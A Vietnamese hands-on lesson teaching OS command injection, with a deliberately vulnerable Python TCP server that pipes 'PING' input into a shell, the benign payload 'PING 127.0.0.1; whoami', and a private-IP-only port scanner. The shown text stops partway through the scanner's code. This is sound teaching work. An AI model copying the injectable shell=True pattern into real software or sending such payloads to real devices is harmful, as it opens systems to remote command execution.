Cổng mở rồi thì sao? Khi dữ liệu gửi vào port điều khiển được cả máy
Câu hỏi xuyên suốt: bài 8 đã quét ra cổng 9500 đang mở trên một thiết bị. Gửi dữ liệu vào đúng cổng đó, điều gì có thể xảy ra nếu chương trình đứng sau không kiểm tra kỹ?
Thời lượng: khoảng 1 giờ 45 phút, chia hai buổi: bước 1–2 (hiểu lỗi), bước 3–6 (tự tay chứng minh và vá). Có 4 bài tập, bài cuối làm ở nhà
Bài này làm gì?
5 phút9500 đang mở. Thủ quỹ hỏi: "Mở vậy có sao không?" Bài này trả lời bằng ví dụ thật: cài một ứng dụng nhỏ cố ý có lỗi, tự tay gửi dữ liệu vào, xem điều gì xảy ra — rồi học cách sửa.Nhắc lại từ bài 8: mở chỉ cho biết "có một chương trình đang lắng nghe ở đây". Chương trình đó an toàn hay có lỗi là câu chuyện khác, và chỉ biết được khi nhìn vào cách nó xử lý dữ liệu gửi tới.
Bốn việc, làm theo thứ tự
| Việc | Câu hỏi | Làm ở |
|---|---|---|
| 1. Hiểu lỗi | Lỗi gì khiến dữ liệu gửi vào biến thành lệnh? | Bước 1 và 2 |
| 2. Cài thiết bị có lỗi | Chạy thử một ứng dụng cố ý có lỗi | Bước 3 |
| 3. Chứng minh | Gửi dữ liệu, thấy lệnh lạ chạy thật | Bước 4 |
| 4. Vá và báo cáo | Sửa đúng cách, báo đúng người | Bước 5 và 6 |
Cần chuẩn bị
- Đã học xong bài 8: biết cách quét ra thiết bị và cổng mở bằng
lan_inventory.pyhoặcport_scan.py. - Python 3.8 trở lên và terminal. Một máy là đủ cho toàn bài (dùng hai cửa sổ terminal, như bài 9); có máy thứ hai trong cùng mạng thì demo "cách xa nhau" rõ hơn.
Bước 1 · Vì sao "cổng mở" chưa nói lên điều gì
10 phútVí von tiếp bài 8: cổng giống một cái cửa. Cửa mở chỉ cho biết "có người ở nhà, sẵn sàng nghe". Khách gõ cửa nói gì, chủ nhà có kiểm tra trước khi làm theo hay không — đó mới là điều quyết định.
| Trường hợp | Khách gõ cửa nói gì cũng được làm theo? | An toàn tới đâu |
|---|---|---|
| Cổng đóng | Không ai nghe, không có gì để gửi tới | An toàn vì không ai lắng nghe |
| Cổng mở, code cẩn thận | Chương trình kiểm tra dữ liệu trước khi dùng | An toàn dù cổng mở |
| Cổng mở, code chủ quan | Chương trình làm đúng theo chuỗi nhận được, không hỏi lại | Nguy hiểm: dữ liệu gửi vào có thể trở thành lệnh |
Muốn biết dịch vụ ở một cổng có mắc lỗi dạng này hay không, phải thử gửi dữ liệu vào và quan sát. Bước 3 và 4 làm đúng việc đó, trên một ứng dụng dựng riêng để học, không chạm vào thiết bị thật của ai.
Bước 2 · Một lỗi quen thuộc: chèn lệnh hệ thống (command injection)
20 phútLỗi học trong bài này tên là — đứng đầu danh sách OWASP Top 10 (danh sách lỗi phổ biến và nguy hiểm nhất của phần mềm) nhiều năm liền. Injection có nhiều dạng: chèn vào câu lệnh cơ sở dữ liệu (SQL injection), chèn vào trang HTML (XSS)… Bài này học đúng dạng chèn vào lệnh hệ điều hành, vì nó dễ thấy bằng mắt nhất và không cần cơ sở dữ liệu hay trình duyệt.
Chặng nguy hiểm là chặng 3: server ghép thẳng chuỗi nhận được vào một câu lệnh shell, không hề kiểm tra. Dấu ; trong dòng lệnh có nghĩa đặc biệt với shell: "kết thúc câu này, bắt đầu câu mới". Không kiểm tra thì shell cứ làm đúng như vậy.
; có nghĩa đặc biệt: "kết thúc lệnh này, bắt đầu lệnh tiếp theo". Server chỉ mong một địa chỉ IP nên không kiểm tra, và vô tình nhận luôn phần sau dấu ; làm một lệnh mới."127.0.0.1; whoami" gọi là : dữ liệu soạn có chủ ý để kiểm tra một hành vi. Người kiểm thử bảo mật dùng payload vô hại (như whoami, chỉ in tên người dùng) để chứng minh lỗi tồn tại, không phải để phá hoại. Bài này chỉ dừng ở đó.Đọc thêm: vì sao chỉ một dấu ; lại nguy hiểm đến vậy, và còn ký tự nào nữa? (không bắt buộc)
Với hầu hết shell (bash, sh, PowerShell, cmd), một số ký tự có nghĩa đặc biệt ngoài việc là chữ:
| Ký tự | Shell hiểu là gì |
|---|---|
; | Kết thúc lệnh này, chạy tiếp lệnh sau |
&& | Chạy lệnh sau nếu lệnh trước thành công |
| | Đưa kết quả lệnh trước làm đầu vào cho lệnh sau |
$(...) hoặc `...` | Chạy lệnh trong dấu này trước, rồi thay bằng kết quả |
>, < | Ghi ra file hoặc đọc từ file |
Bất kỳ ký tự nào trong bảng trên xuất hiện trong dữ liệu người dùng mà bị ghép thẳng vào lệnh shell đều có thể gây injection, không chỉ riêng dấu ;. Đây là lý do cách sửa đúng ở bước 5 không phải "chặn dấu ;" mà là đổi hẳn cách gọi lệnh.
Nối với bài 5: cùng là "dữ liệu đi qua một ", nhưng bài 5 hỏi "dữ liệu tới đâu", còn bài này hỏi "dữ liệu đó được chương trình xử lý ra sao sau khi tới". Hai câu hỏi khác nhau, cả hai đều cần để hiểu một hệ thống.
Bước 3 · Lab: cài "thiết bị" cố ý có lỗi để học
20 phút127.0.0.1 (: chính máy bạn) — an toàn để học một mình bằng hai cửa sổ terminal. Chỉ thêm cờ --lan khi có một người bạn cùng làm, trên mạng của chính hai bạn, và cả hai đều biết việc này đang diễn ra.5 file Python dùng trong bài này
| File | Chạy ở máy nào | Ý tưởng |
|---|---|---|
vuln_app.py | Máy A · nạn nhân | Giả lập thiết bị IoT, nhận lệnh PING qua TCP, ghép thẳng vào lệnh shell — cố ý có lỗi |
port_scan.py | Máy B · kiểm thử | Quét nhanh các cổng TCP của một thiết bị — bản gọn của lan_inventory.py ở bài 8 |
exploit_poc.py | Máy B | Gửi cùng một dữ liệu theo hai cách, tự đọc phản hồi để kết luận có lỗi hay không |
vuln_app_fixed.py | Máy A | Cùng tính năng PING, nhưng kiểm tra đầu vào trước khi chạy bất kỳ lệnh nào |
nmap_report.py | Máy B · tùy chọn | Đọc file quét của nmap, tự xếp mức rủi ro theo từng cổng khi soát nhiều thiết bị |
Cả 5 file chỉ dùng thư viện có sẵn của Python, không cần cài thêm gì. Mỗi file được giới thiệu lại ngay trước khi dùng tới.
BƯỚC 1Tạo thư mục làm việc
mkdir ~/vuln-lab
cd ~/vuln-lab
pwdmkdir $HOME\vuln-lab
cd $HOME\vuln-lab
pwdmkdir ~/vuln-lab
cd ~/vuln-lab
pwdBƯỚC 2Tạo file vuln_app.py
App giả lập một thiết bị điều khiển nhà thông minh tên "HomeLand Controller", nhận lệnh PING <ip> qua TCP để kiểm tra một thiết bị khác có online không.
vuln_app.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.
Xem mã Python · có tô màu và số dòng
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.
CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.
Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def handle(payload: str) -> str:
"""Xu ly mot dong lenh dang: PING <ten_thiet_bi>
LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
HAI lenh: ping va whoami. Day goi la command injection.
"""
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:] # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
cmd = f"ping {flags} {target}" # <-- noi chuoi vao shell: NGUY HIEM
try:
out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true",
help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
cat > vuln_app.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.
CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.
Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def handle(payload: str) -> str:
"""Xu ly mot dong lenh dang: PING <ten_thiet_bi>
LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
HAI lenh: ping va whoami. Day goi la command injection.
"""
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:] # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
cmd = f"ping {flags} {target}" # <-- noi chuoi vao shell: NGUY HIEM
try:
out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true",
help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
EOF@'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.
CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.
Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def handle(payload: str) -> str:
"""Xu ly mot dong lenh dang: PING <ten_thiet_bi>
LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
HAI lenh: ping va whoami. Day goi la command injection.
"""
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:] # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
cmd = f"ping {flags} {target}" # <-- noi chuoi vao shell: NGUY HIEM
try:
out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true",
help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
'@ | Set-Content -Path vuln_app.py -Encoding asciicat > vuln_app.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.
CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.
Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess
PORT_DEFAULT = 9500
def handle(payload: str) -> str:
"""Xu ly mot dong lenh dang: PING <ten_thiet_bi>
LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
HAI lenh: ping va whoami. Day goi la command injection.
"""
payload = payload.strip()
if not payload.upper().startswith("PING "):
return "LOI: chi ho tro lenh PING <dia_chi>\n"
target = payload[5:] # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
cmd = f"ping {flags} {target}" # <-- noi chuoi vao shell: NGUY HIEM
try:
out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
return (out.stdout + out.stderr) or "(khong co ket qua)\n"
except Exception as e: # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
return f"LOI: {e}\n"
def main():
ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--lan", action="store_true",
help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
args = ap.parse_args()
bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, args.port))
s.listen(5)
print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("utf-8", "replace")
print(f"[ket noi tu {addr}] nhan: {data!r}")
conn.sendall(handle(data).encode("utf-8", "replace"))
if __name__ == "__main__":
main()
EOFBƯỚC 3Đọc đúng hai dòng gây lỗi
Mở "Xem mã Python" ở trên, tìm hàm handle(). Hai dòng sau là nơi lỗi nằm:
| Phần | Ý nghĩa |
|---|---|
target = payload[5:] | Lấy nguyên văn phần sau chữ "PING ". Không kiểm tra gì cả. |
cmd = f"ping {flags} {target}" | Ghép target vào một chuỗi lệnh shell bằng f-string (flags chỉ là cờ ping cho đúng hệ điều hành, không liên quan tới lỗi). |
subprocess.run(cmd, shell=True, ...) | shell=True nghĩa là: đưa cả chuỗi cmd cho shell đọc như gõ tay ở terminal, kể cả các ký tự đặc biệt ở bảng bước 2. |
BƯỚC 4Chạy thử, giữ cửa sổ này mở
python3 vuln_app.pypy vuln_app.pypython3 vuln_app.py[HomeLand - DEMO CO LOI] dang lang nghe 127.0.0.1:9500
Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.Đây là Terminal A, đóng vai máy "HomeLand". Giữ nguyên, không tắt. Mở một cửa sổ terminal khác cho bước 4; cả hai đều đứng trong thư mục vuln-lab.
Có máy thứ hai? Đẩy demo đi xa hơn
Mặc định vuln_app.py chỉ lắng nghe ở 127.0.0.1 (), nên Terminal B dùng chung máy mới gửi được dữ liệu tới. Muốn Terminal B đứng trên một máy khác, giống bài 9 khi chuyển từ một máy sang hai máy, cần đổi đúng hai thứ:
| Việc | Một máy (mặc định) | Hai máy thật |
|---|---|---|
| Chạy app ở Máy A | python3 vuln_app.py | python3 vuln_app.py --lan |
| Địa chỉ Terminal B gọi tới | 127.0.0.1 | IP mạng của Máy A (xem bằng lệnh bài 6/8) |
| Mạng cần có | Không cần Wi-Fi | Hai máy cùng một Wi-Fi/LAN, không phải mạng khách cách ly (bài 8) |
Lấy IP của Máy A — thực hiện ngay ở Terminal A, ghi lại số này để dùng ở bước 4:
ipconfig getifaddr en0ipconfighostname -IVí dụ ra 192.168.68.56 (Windows: tìm dòng "IPv4 Address"). Đây đúng là lệnh đã dùng ở bài 6/8, nhắc lại cho gọn.
--lan khiến Máy A lắng nghe trên mọi card mạng (0.0.0.0), không chỉ chính nó. Máy B chỉ cần biết đúng IP của Máy A và ở trong cùng mạng Wi-Fi/LAN — không phải mạng khách bị cách ly thiết bị (bài 8).Cờ --lan đổi nơi app lắng nghe từ 127.0.0.1 sang 0.0.0.0 (mọi card mạng của máy, không chỉ chính nó) — đúng chỗ bài 9 từng nhắc: "quên đổi 127.0.0.1 là lỗi số một khi chuyển từ một máy sang hai máy".
Đọc thêm: hai máy không kết nối được, vì sao? (không bắt buộc)
| Hiện tượng | Nguyên nhân thường gặp | Cách sửa |
|---|---|---|
| Terminal B báo "Connection refused" ngay | Quên thêm --lan ở Máy A, app vẫn chỉ nghe 127.0.0.1 | Thêm --lan khi chạy vuln_app.py |
| Treo lâu rồi báo "timed out" | Firewall của Máy A chặn im lặng, hoặc hai máy ở hai mạng khác nhau | Cho phép Python qua firewall (xem callout trên); kiểm tra cả hai cùng tên Wi-Fi |
| Một máy cắm dây, một máy Wi-Fi, cùng tên mạng nhưng vẫn "timed out" | Router cách ly thiết bị Wi-Fi khỏi cổng dây (AP/Client Isolation), dù cùng SSID | Vào trang quản trị router (thường 192.168.1.1), mục Wi-Fi → tắt "AP Isolation"/"Client Isolation" |
| Cùng Wi-Fi vẫn không vào được | Mạng đang cách ly thiết bị (mạng khách) — xem bài 8 | Nối cả hai máy vào mạng chính, không phải mạng khách |
python3: command not found trên Windows | Windows dùng lệnh khác | Đổi thành py thay cho python3 |
Vẫn không được? Chẩn đoán theo đúng thứ tự này, đừng đoán:
- Ping trước để tách lớp mạng khỏi lớp ứng dụng. Từ Terminal B:
ping <IP Máy A>. Không ping được → lỗi ở tầng mạng, làm bước 2 và 4. Ping được mà port vẫn không vào → lỗi ở Máy A, làm bước 3. - Tắt cách ly thiết bị trên router. Mục Wi-Fi trong trang quản trị router thường có "AP Isolation"/"Client Isolation"/"Wireless Isolation" — bật mặc định ở nhiều router, chặn cả Wi-Fi nói chuyện với máy cắm dây dù cùng mạng.
- Xác nhận Máy A lắng nghe đúng chỗ. Trên Máy A:
netstat -an | grep 9500(macOS/Linux) hoặcnetstat -an | findstr 9500(Windows). Phải thấy0.0.0.0.9500, không phải127.0.0.1.9500— thấy loopback nghĩa là quên--lan. - So dải IP hai máy. Ba số đầu IP (ví dụ
192.168.1) phải giống nhau trên cả hai máy. Một số router phát Wi-Fi và cổng LAN dây ở hai dải khác nhau dù cùng tên mạng hiển thị.
vuln_app.py là lỗ hổng chạy lệnh từ xa thật, không mật khẩu. Port-forward hoặc chạy nó trên IP công cộng khiến bot quét Internet có thể tìm thấy và khai thác thật trong vài phút — không còn là demo trong lớp nữa. Mọi bước của bài này chỉ chạy trong mạng cục bộ (bài 8).Bước 4 · Đóng vai kiểm thử: gửi dữ liệu, thấy lỗi chạy thật
20 phútXem trước: lỗi chèn lệnh xảy ra thế nào?
Theo chân một payload vô hại, từ lúc gửi đi tới lúc chứng minh được lỗi. Mỗi cảnh tương ứng một việc trong code.
port_scan.py 192.168.x.x -p 9500Bài 8 dạy cách tìm thiết bị; bước này tìm xem thiết bị có cổng nào mở. Cổng mở chỉ cho biết "có ai lắng nghe ở đây", chưa cho biết an toàn hay không.
Điều cần hiểu: Biết cổng mở, chưa biết chương trình đứng sau có lỗi.
send("PING 127.0.0.1; whoami")"Payload" là dữ liệu soạn có chủ ý để kiểm tra một lỗ hổng. Ở đây chỉ gắn thêm một lệnh vô hại (whoami) để chứng minh, không xoá hay lấy gì cả.
Điều cần hiểu: Dữ liệu đã lên đường; server A sắp phải xử lý chuỗi này.
subprocess.run(cmd, shell=True)Vì dùng shell=True và ghép chuỗi, hệ điều hành nhận một câu lệnh dài, coi dấu ; là "hết câu, sang câu khác" — đúng như gõ tay ở terminal.
Điều cần hiểu: Đây là khoảnh khắc lỗi command injection xảy ra.
reply chứa "longnguyen"Máy B chưa từng đăng nhập vào máy A, nhưng vẫn khiến máy A chạy một lệnh do B chọn. Đây là hậu quả thật của command injection, không phải giả định.
Điều cần hiểu: Lỗ hổng đã được chứng minh bằng một lệnh vô hại — bước tiếp theo là vá, không khai thác thêm.
Hình minh họa không chạy Python và không gửi gói tin. Bấm Tiếp để học theo nhịp của bạn; Phát tự chuyển cảnh mỗi 9 giây.
BƯỚC 1Ôn lại bài 8: xác nhận cổng đang mở
port_scan.py làm việc hẹp hơn lan_inventory.py ở bài 8: không tìm thiết bị trong cả dải mạng, chỉ thử kết nối TCP tới từng cổng của một IP đã biết, chạy song song bằng ThreadPoolExecutor cho nhanh — "mở" khi kết nối được, "đóng" khi bị từ chối, "im lặng" khi hết giờ chờ. Tạo file này ở Terminal B:
port_scan.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.
Xem mã Python · có tô màu và số dòng
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1 (quét các port phổ biến)
# python3 port_scan.py 192.168.1.1 -p 1-1024
# python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor
COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000 # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy
def parse_ports(text):
# Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
# "1-1024" hoặc kết hợp "22,80,8000-8100"
ports = set()
for part in text.split(","):
part = part.strip()
if "-" in part:
a, b = part.split("-", 1)
ports.update(range(int(a), int(b) + 1))
elif part:
ports.add(int(part))
if not ports or min(ports) < 1 or max(ports) > 65535:
raise ValueError("port phai nam trong khoang 1-65535")
return sorted(ports)
def probe(ip, port, timeout):
# Thử "gõ cửa" một port bằng một kết nối TCP.
# Ba kết quả có thể: open / closed / filtered.
# [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
# chương trình treo
s.settimeout(timeout)
try:
# [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
s.connect((ip, port))
return port, "open"
except ConnectionRefusedError:
return port, "closed" # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
except (socket.timeout, OSError):
return port, "filtered" # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"
def service_name(port):
try:
return socket.getservbyport(port, "tcp")
except OSError:
return "?"
def main():
ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
args = ap.parse_args()
# [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
ip = ipaddress.ip_address(args.ip)
# [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
if not (ip.is_private or ip.is_loopback):
raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
# [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
# COMMON; gõ sai thì thoát kèm lý do
try:
ports = parse_ports(args.ports) if args.ports else COMMON
except ValueError as e:
raise SystemExit("Loi port: " + str(e))
# [4] Giới hạn số port mỗi lần quét
if len(ports) > MAX_PORTS:
raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")
print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
# [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
start = time.time()
# [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
with ThreadPoolExecutor(max_workers=100) as pool:
# [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
# trả danh sách (port, trạng thái)
results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
count = {"open": 0, "closed": 0, "filtered": 0}
print("PORT TRANG THAI DICH VU")
for port, state in results:
count[state] += 1
if state == "open":
print(f"{port:<7} {state:<11} {service_name(port)}")
print(f"\nmo: {count['open']} dong: {count['closed']} im lang (filtered): {count['filtered']} "
f"(xong sau {time.time() - start:.1f} giay)")
if __name__ == "__main__":
main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
cat > port_scan.py <<'EOF'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1 (quét các port phổ biến)
# python3 port_scan.py 192.168.1.1 -p 1-1024
# python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor
COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000 # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy
def parse_ports(text):
# Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
# "1-1024" hoặc kết hợp "22,80,8000-8100"
ports = set()
for part in text.split(","):
part = part.strip()
if "-" in part:
a, b = part.split("-", 1)
ports.update(range(int(a), int(b) + 1))
elif part:
ports.add(int(part))
if not ports or min(ports) < 1 or max(ports) > 65535:
raise ValueError("port phai nam trong khoang 1-65535")
